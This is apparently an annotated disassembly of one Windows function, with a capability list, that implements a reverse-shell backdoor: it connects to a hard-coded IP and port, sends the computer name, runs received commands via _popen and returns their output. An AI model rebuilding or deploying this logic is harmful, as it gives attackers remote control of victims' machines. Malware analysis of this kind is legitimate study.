Function at 0x140001603
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Query environment variable
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0xa00
lea rbp, [rsp + 0x80]
call dbg.__main
mov qword [rbp + 0x978], 0xffffffffffffffff
mov dword [rbp + 0x974], 0x10
movabs rax, 0x2e3836312e323931
mov qword [rbp + 0x3a2], rax
mov dword [rbp + 0x3aa], 0x32312e32
mov word [rbp + 0x3ae], 0x38
mov dword [rbp + 0x970], 0x2cbb
lea rax, [rbp + 0x7c0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x14000168d
lea rcx, str.WSAStartup_failed
call dbg.printError
mov eax, 1
jmp 0x1400019bf
lea rcx, str.COMPUTERNAME
call sym.getenv
mov qword [rbp + 0x968], rax
cmp qword [rbp + 0x978], 0xffffffffffffffff
jne 0x1400016f3
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x978], rax
cmp qword [rbp + 0x978], 0xffffffffffffffff
jne 0x1400016f3
lea rcx, [0x140013027]
call dbg.printError
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x1400019bf
lea rax, [rbp + 0x7b0]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x7b0], 2
lea rax, [rbp + 0x3a2]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x7b4], eax
mov eax, dword [rbp + 0x970]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x7b2], ax
mov edx, dword [rbp + 0x970]
lea rax, [rbp + 0x3a2]
mov r8d, edx
mov rdx, rax
lea rcx, [0x140013036]
call dbg.printf
mov ecx, dword [rbp + 0x974]
lea rdx, [rbp + 0x7b0]
mov rax, qword [rbp + 0x978]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x964], eax
cmp dword [rbp + 0x964], 0xffffffff
jne 0x1400017d8
lea rcx, [0x140013051]
call dbg.printError
mov rax, qword [rbp + 0x978]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov qword [rbp + 0x978], 0xffffffffffffffff
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400019ba
lea rcx, [0x140013068]
call dbg.printf
mov rdx, qword [rbp + 0x968]
lea rax, [rbp + 0x3b0]
mov r8, rdx
lea rdx, [0x140013072]
mov rcx, rax
call dbg.sprintf
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x978]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x978]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x964], eax
cmp dword [rbp + 0x964], 0xffffffff
jne 0x1400018aa
lea rcx, [0x14001307d]
call dbg.printError
mov rax, qword [rbp + 0x978]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov qword [rbp + 0x978], 0xffffffffffffffff
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400019ba
cmp dword [rbp + 0x964], 0
jne 0x1400018f0
lea rcx, [0x140013086]
call dbg.printf
mov rax, qword [rbp + 0x978]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov qword [rbp + 0x978], 0xffffffffffffffff
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400019ba
mov eax, dword [rbp + 0x964]
cdqe
mov byte [rbp + rax + 0x3b0], 0
lea rax, [rbp + 0x3b0]
mov rdx, rax
lea rcx, [0x140013096]
call dbg.printf
lea rax, [rbp + 0x3b0]
lea rdx, [0x1400130a4]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x958], rax
cmp qword [rbp + 0x958], 0
je 0x1400019a9
jmp 0x140001971
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x978]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rdx, qword [rbp + 0x958]
lea rax, [rbp - 0x60]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x140001943
mov rax, qword [rbp + 0x958]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
jmp 0x140001838
lea rcx, [0x1400130a6]
call dbg.printf
jmp 0x140001838
jmp 0x1400016a0
add rsp, 0xa00
pop rbp
ret